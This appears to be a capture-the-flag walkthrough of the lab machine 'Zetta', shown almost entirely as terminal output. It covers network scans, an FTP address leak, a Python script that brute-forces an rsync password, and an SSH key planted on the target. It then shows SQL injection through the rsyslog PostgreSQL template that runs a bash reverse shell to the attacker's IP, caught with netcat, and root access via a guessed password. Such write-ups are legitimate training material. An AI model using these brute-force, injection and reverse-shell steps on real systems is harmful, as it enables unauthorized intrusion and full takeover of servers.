

```
root@kali:~/Masaüstü# nmap -sS -sV -p- -T4 10.10.10.156
```

```
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-02 20:28 +03
```

```
Nmap scan report for 10.10.10.156
```

```
Host is up (0.064s latency).
```

```
Not shown: 65532 filtered ports
```

```
PORT      STATE SERVICE VERSION
```

```
21/tcp    open  ftp      Pure-FTPd
```

```
22/tcp    open  ssh      OpenSSH 7.9p1 Debian 10 (protocol 2.0)
```

```
80/tcp    open  http     nginx
```

```
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

```
Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
```

```
Nmap done: 1 IP address (1 host up) scanned in 285.75 seconds
```

SHARING

USE THE BELOW CREDENTIALS ON OUR SHINY FTP SERVER AND START SHARING:



Username

2Ye41Jjz08NQuvGuPM5hMPK2QOH3Lxxv



Password

2Ye41Jjz08NQuvGuPM5hMPK2QOH3Lxxv



Sharing

Just share the long and thus secure username and password with your friends and they will have fast access to the same data. No one else will have access.

```
root@kali:~/Masaüstü# ftp
ftp> open 10.10.10.156
Connected to 10.10.10.156.
220----- Welcome to Pure-FTPd [privsep] [TLS] -----
220-You are user number 5 of 500 allowed.
220-Local time is now 12:30. Server port: 21.
220-This is a private system - No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
Name (10.10.10.156:root): 2Ye41Jjz08NQuvGuPM5hMPK2Q0H3Lxxv
331 User 2Ye41Jjz08NQuvGuPM5hMPK2Q0H3Lxxv OK. Password required
Password:
230-This server supports FXP transfers
230-OK. Current restricted directory is /
230-0 files used (0%) - authorized: 10 files
230 0 Kbytes used (0%) - authorized: 1024 Kb
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> quote EPRT |1|10.10.10.156|2222|
200-FXP transfer: from 10.10.14.255 to 10.10.10.156
200 PORT command successful
ftp> quote EPRT |2|dead:beef:2::10fd|2222|
200-FXP transfer: from 10.10.10.156 to dead:beef:2::10fd%160
200 PORT command successful
ftp> quote LIST
425 Could not open data connection to port 2222: Connection refused
ftp>
```

```
root@kali:~/Masaüstü# tcpdump -vi tun0 port 2222
tcpdump: listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
20:33:18.325102 IP6 (flowlabel 0xebb09, hlim 63, next-header TCP (6) payload length: 40) dead:beef::250:56ff:feb9:ad5f.59280 > kali.2222: Flags [S], cksum 0xbd
c3 (correct), seq 4127287836, win 28800, options [mss 1337,sackOK,TS val 938360905 ecr 0,nop,wscale 7], length 0
20:33:18.325120 IP6 (flowlabel 0x10c49, hlim 64, next-header TCP (6) payload length: 20) kali.2222 > dead:beef::250:56ff:feb9:ad5f.59280: Flags [R.], cksum 0x0
dd0 (correct), seq 0, ack 4127287837, win 0, length 0
```

GNU nano 4.5

/etc/hosts

127.0.0.1 localhost

127.0.1.1 kali

dead:beef::250:56ff:feb9:ad5f zetta.htb

The following lines are desirable for IPv6 capable hosts

::1 localhost ip6-localhost ip6-loopback

ff02::1 ip6-allnodes

ff02::2 ip6-allrouters

```
root@kali:~/Masaüstü# nmap -6 -sS -sV -p- -T4 zetta.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-02 20:36 +03
Warning: dead:beef::250:56ff:feb9:ad5f giving up on port because retransmission cap hit (6).
Stats: 0:09:22 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 68.07% done; ETC: 20:50 (0:04:23 remaining)
Nmap scan report for zetta.htb (dead:beef::250:56ff:feb9:ad5f)
Host is up (0.061s latency).
Not shown: 65463 closed ports, 68 filtered ports
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      Pure-FTPd
22/tcp    open  ssh      OpenSSH 7.9p1 Debian 10 (protocol 2.0)
80/tcp    open  http     nginx
8730/tcp  open  rsync    (protocol version 31)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```



```
root@kali:~/Masaüstü# rsync -6 -rdt rsync://zetta.htb:8730/etc
***** UNAUTHORIZED ACCESS TO THIS RSYNC SERVER IS PROHIBITED *****
```

You must have explicit, authorized permission to access this rsync server. Unauthorized attempts and actions to access or use this system may result in civil and/or criminal penalties.

All activities performed on this device are logged and monitored.

```
***** UNAUTHORIZED ACCESS TO THIS RSYNC SERVER IS PROHIBITED *****
```

```
@ZE::A staff
```

This rsync server is solely for access to the zetta master server. The modules you see are either provided for "Backup access" or for "Cloud sync".

drwxr-xr-x	4,096	2019/08/31	22:44:23	.
-rw-r--r--	2,981	2019/07/27	10:01:29	adduser.conf
-rw-r--r--	44	2019/07/27	10:03:30	adjtime
-rw-r--r--	1,994	2019/04/18	07:12:36	bash.bashrc
-rw-r--r--	367	2018/03/02	23:03:58	bindresvport.blacklist
-rw-r--r--	5,713	2019/07/27	10:07:27	ca-certificates.conf
-rw-r--r--	1,042	2019/06/23	20:49:01	crontab
-rw-r--r--	2,969	2019/02/26	12:30:35	debconf.conf
-rw-r--r--	5	2019/04/19	14:00:00	debian_version
-rw-r--r--	604	2016/06/26	23:00:56	deluser.conf
-rw-r--r--	346	2018/01/15	00:27:01	discover-modprobe.conf
-rw-r--r--	0	2019/07/27	10:01:28	environment
-rw-r--r--	664	2019/08/27	12:39:06	fstab
-rw-r--r--	130	2019/01/28	21:56:17	ftplib
-rw-r--r--	177	2019/01/28	21:56:17	ftpusers
-rw-r--r--	2,584	2018/08/01	08:10:47	gai.conf
-rw-r--r--	735	2019/07/27	13:00:50	group
-rw-r--r--	732	2019/07/27	10:07:28	group-
-rw-r--r--	9	2006/08/07	20:14:09	host.conf
-rw-r--r--	6	2019/07/27	10:01:35	hostname
-rw-r--r--	195	2019/07/27	10:01:35	hosts
-rw-r--r--	411	2019/07/27	10:03:12	hosts.allow
-rw-r--r--	711	2019/07/27	10:03:12	hosts.deny
-rw-r--r--	1,056	2019/07/27	10:07:19	inetd.conf
-rw-r--r--	1,748	2018/05/05	17:52:46	inputrc
-rw-r--r--	27	2019/05/13	23:25:32	issue
-rw-r--r--	20	2019/05/13	23:25:32	issue.net
-rw-r--r--	144	2019/07/27	10:03:27	kernel-img.conf
-rw-r--r--	15,337	2019/08/27	12:38:58	ld.so.cache
-rw-r--r--	34	2018/03/02	23:03:58	ld.so.conf
-rw-r--r--	191	2019/04/25	17:47:32	libaudit.conf
-rw-r--r--	2,995	2019/05/01	20:24:19	locale.alias
-rw-r--r--	9,376	2019/07/27	10:01:37	locale.gen
lrwxrwxrwx	30	2019/07/27	10:01:39	localtime
-rw-r--r--	10,477	2018/07/27	11:07:37	login.defs

```
root@kali:~/Masaüstü# rsync -6 -avzh rsync://zetta.htb:8730/etc/rsyncd.conf /root/Masaüstü/rsyncd.conf
```

```
***** UNAUTHORIZED ACCESS TO THIS RSYNC SERVER IS PROHIBITED *****
```

You must have explicit, authorized permission to access this rsync server. Unauthorized attempts and actions to access or use this system may result in civil and/or criminal penalties.

All activities performed on this device are logged and monitored.

```
***** UNAUTHORIZED ACCESS TO THIS RSYNC SERVER IS PROHIBITED *****
```

```
@ZE::A staff
```

This rsync server is solely for access to the zetta master server. The modules you see are either provided for "Backup access" or for "Cloud sync".

```
receiving incremental file list  
rsyncd.conf
```

```
sent 43 bytes  received 1.09K bytes  454.80 bytes/sec  
total size is 2.93K  speedup is 2.58
```


Open ▼

rsyncd.conf
~/Masaüstü

Save



```
# Allow backup server to backup /sbin
[sbin]
    comment = Backup access to /sbin
    path = /sbin
    # Allow access from backup server only.
    hosts allow = 104.24.0.54

# Allow backup server to backup /srv
[srv]
    comment = Backup access to /srv
    path = /srv
    # Allow access from backup server only.
    hosts allow = 104.24.0.54

# Allow backup server to backup /usr
[usr]
    comment = Backup access to /usr
    path = /usr
    # Allow access from backup server only.
    hosts allow = 104.24.0.54

# Allow backup server to backup /var
[var]
    comment = Backup access to /var
    path = /var
    # Allow access from backup server only.
    hosts allow = 104.24.0.54

# Syncable home directory for .dot file sync for me.
# NOTE: Need to get this into GitHub repository and use git for sync.
[home_roy]
    path = /home/roy
    read only = no
    # Authenticate user for security reasons.
    uid = roy
    gid = roy
    auth users = roy
    secrets file = /etc/rsyncd.secrets
    # Hide home module so that no one tries to access it.
    list = false
```

Plain Text ▼

Tab Width: 8 ▼

Ln 1, Col 1 ▼

INS

```
root@kali:~/Masaüstü# cat zetta.py
```

```
#!/usr/bin/python
```

```
import pexpect
```

```
f = open("/usr/share/wordlists/rockyou.txt","r")
```

```
for x in f:
```

```
    print(x)
```

```
    try:
```

```
        rsync = pexpect.spawn('rsync -6 -rdt rsync://roy@zetta.htb:8730/home_roy')
```

```
        rsync.expect('Password:')
```

```
        rsync.sendline(x)
```

```
        if "auth failed on module" not in rsync.read():
```

```
            break
```

```
    except:
```

```
        print("calismadi")
```

```
root@kali:~/Masaüstü# python zetta.py
123456

12345

123456789

alexandrovich

password

iloveyou

princess

1234567

rockyou

12345678

abc123

nicole

daniel

babygirl

monkey

lovely

jessica

654321

michael

ashley

qwerty

111111

iloveu

000000

michelle

tigger
```

flower

playboy

hello

elizabeth

hottie

tinkerbelle

charlie

samantha

barbie

chelsea

lovers

teamo

jasmine

brandon

666666

shadow

melissa

eminem

matthew

robert

danielle

forever

family

jonathan

987654321

computer

```
root@kali:~/Masaüstü# rsync -6 -rdt rsync://roy@zetta.htb:8730/home_roy
```

```
***** UNAUTHORIZED ACCESS TO THIS RSYNC SERVER IS PROHIBITED *****
```

You must have explicit, authorized permission to access this rsync server. Unauthorized attempts and actions to access or use this system may result in civil and/or criminal penalties.

All activities performed on this device are logged and monitored.

```
***** UNAUTHORIZED ACCESS TO THIS RSYNC SERVER IS PROHIBITED *****
```

```
@ZE::A staff
```

This rsync server is solely for access to the zetta master server. The modules you see are either provided for "Backup access" or for "Cloud sync".

Password:

drwxr-xr-x	4,096	2020/02/11	09:22:40	.
lrwxrwxrwx	9	2019/07/27	13:57:06	.bash_history
-rw-r--r--	220	2019/07/27	10:03:28	.bash_logout
-rw-r--r--	3,526	2019/07/27	10:03:28	.bashrc
-rw-r--r--	807	2019/07/27	10:03:28	.profile
-rw-----	4,752	2019/07/27	12:24:24	.tudu.xml
-r--r--r--	33	2019/07/27	12:24:24	user.txt
drwxr-xr-x	4,096	2020/02/11	09:22:55	.ssh
-rw-r--r--	563	2020/02/11	09:22:55	.ssh/authorized_keys

```
root@kali:~/Masaüstü# rsync -6 -avzh rsync://roy@zetta.htb:8730/home_roy/user.txt /root/Masaüstü/user.txt
***** UNAUTHORIZED ACCESS TO THIS RSYNC SERVER IS PROHIBITED *****
```

You must have explicit, authorized permission to access this rsync server. Unauthorized attempts and actions to access or use this system may result in civil and/or criminal penalties.

All activities performed on this device are logged and monitored.

```
***** UNAUTHORIZED ACCESS TO THIS RSYNC SERVER IS PROHIBITED *****
```

```
@ZE::A staff
```

This rsync server is solely for access to the zetta master server. The modules you see are either provided for "Backup access" or for "Cloud sync".

Password:

```
receiving incremental file list
user.txt
```

```
sent 43 bytes  received 123 bytes  25.54 bytes/sec
total size is 33  speedup is 0.20
```

```
root@kali:~/Masaüstü# cat user.txt
a575bdb345f2de0a3172c8282452be91
```



```
root@kali:~/Masaüstü# rsync -6 -avzh /root/.ssh/id_rsa.pub rsync://roy@zetta.htb:8730/home_roy/.ssh/authorized_keys
***** UNAUTHORIZED ACCESS TO THIS RSYNC SERVER IS PROHIBITED *****

You must have explicit, authorized permission to access this rsync
server. Unauthorized attempts and actions to access or use this
system may result in civil and/or criminal penalties.

All activities performed on this device are logged and monitored.

***** UNAUTHORIZED ACCESS TO THIS RSYNC SERVER IS PROHIBITED *****

@ZE::A staff

This rsync server is solely for access to the zetta master server.
The modules you see are either provided for "Backup access" or for
"Cloud sync".

Password:
sending incremental file list
id_rsa.pub

sent 549 bytes  received 41 bytes  78.67 bytes/sec
total size is 563  speedup is 0.95
root@kali:~/Masaüstü# ssh -i /root/.s
.selected_editor .sqlmap/ .ssh/
root@kali:~/Masaüstü# ssh -i /root/.s
.selected_editor .sqlmap/ .ssh/
root@kali:~/Masaüstü# ssh -i /root/.ssh/id_rsa roy@10.10.10.156
Linux zetta 4.19.0-5-amd64 #1 SMP Debian 4.19.37-5+deb10u1 (2019-07-19) x86_64
Last login: Tue Feb 11 01:23:01 2020 from 10.10.14.201
roy@zetta:~$ whoami
roy
roy@zetta:~$
```

```
roy@zetta:/$ find / -type d -name '.git' 2>/dev/null
/etc/pure-ftpd/.git
/etc/nginx/.git
/etc/rsyslog.d/.git
roy@zetta:/$ █
```

```
roy@zetta:/etc/rsyslog.d/.git$ git log -p -2
commit e25cc20218f99abd68a2bf06ebfa81cd7367eb6a (HEAD -> master)
Author: root <root@zetta.htb>
Date: Sat Jul 27 05:51:43 2019 -0400

    Adding/adapting template from manual.

diff --git a/pgsql.conf b/pgsql.conf
index f31836d..9649f68 100644
--- a/pgsql.conf
+++ b/pgsql.conf
@@ -1,5 +1,22 @@
### Configuration file for rsyslog-pgsql
### Changes are preserved

-module(load="ompgsql")
-*. * action(type="ompgsql" server="localhost" db="Syslog" uid="rsyslog" pwd="")
+# https://www.rsyslog.com/doc/v8-stable/configuration/modules/ompgsql.html
+#
+# Used default template from documentation/source but adapted table
+# name to syslog_lines so the Ruby on Rails application Maurice is
+# coding can use this as Syslogline object.
+#
+template(name="sql-syslog" type="list" option.sql="on") {
+  constant(value="INSERT INTO syslog_lines (message, devicereportedtime) values ('")
+  property(name="msg")
+  constant(value="', '")
+  property(name="timereported" dateformat="pgsql" date.inUTC="on")
+  constant(value="')")
+}
+
+# load module
+module(load="ompgsql")
+
+# Only forward local7.info for testing.
+local7.info action(type="ompgsql" server="localhost" user="postgres" pass="test1234" db="syslog" template="sql-syslog")

commit c98d292ac2981c0192a59d7cdad9d2d4a25bd4c5
Author: root <root@zetta.htb>
Date: Sat Jul 27 03:11:22 2019 -0400

    Initial revision.

diff --git a/pgsql.conf b/pgsql.conf
new file mode 100644
index 0000000..f31836d
--- /dev/null
+++ b/pgsql.conf
@@ -0,0 +1,5 @@
+### Configuration file for rsyslog-pgsql
```

```
##### Configuration file for rsyslog-pgsql
##### Changes are preserved
+
+module (load="ompgsql")
+*. * action(type="ompgsql" server="localhost" db="Syslog" uid="rsyslog" pwd="")
( END )
```

```
roy@zetta:/tmp$ echo "bash -i >& /dev/tcp/10.10.14.137/4040 0>&1" >test
```

```
logger -p local7.info "',now());CREATE table if not exists test(t TEXT);COPY test(t) from program $$ bash /tmp/test; $$;-- -"
```



```
roy@zetta:/tmp$ logger -p local7.info "$(cat test2)"
```

```
root@kali:~/Masaüstü# nc -nlvp 4040
listening on [any] 4040 ...
connect to [10.10.14.137] from (UNKNOWN) [10.10.10.156] 47386
bash: cannot set terminal process group (25054): Inappropriate ioctl for device
bash: no job control in this shell
postgres@zetta:/var/lib/postgresql/11/main$ whoami
whoami
postgres
```

```
postgres@zetta:/var/lib/postgresql$ cat .psql_history
cat .psql_history
CREATE DATABASE syslog;
\c syslog
( Zenmap(asroot) syslog_lines ( ID serial not null primary key, CustomerID bigint, ReceivedAt timestamp without time zone NULL, DeviceReportedTime timestamp without time zone NULL, Facility smallint NULL, Priority smallint NULL, Message varchar(60) NULL, NTSeverity int NULL, Importance int NULL, EventSource varchar(60), EventUser varchar(60) NULL, EventCategory int NULL, EventID int NULL, EventBinaryData text NULL, MaxAvailable int NULL, CurrUsage int NULL, MinUsage int NULL, MaxUsage int NULL, InfoUnitID int NULL , SysLogTag varchar(60), EventLogType varchar(60), GenericFileName VarChar(60), SystemID int NULL);
\d syslog_lines
ALTER USER postgres WITH PASSWORD 'sup3rs3cur3p4ass@postgres';
```

```
postgres@zetta:/var/lib/postgresql$ su root
su root
Password: sup3rs3cur3p4ass@root
id
uid=0(root) gid=0(root) groups=0(root)
pwd
/var/lib/postgresql
cd ..
cd ..
cd ..
cd /root
cat root.txt
b9407e837fb779abc934d6db89ed4c42
```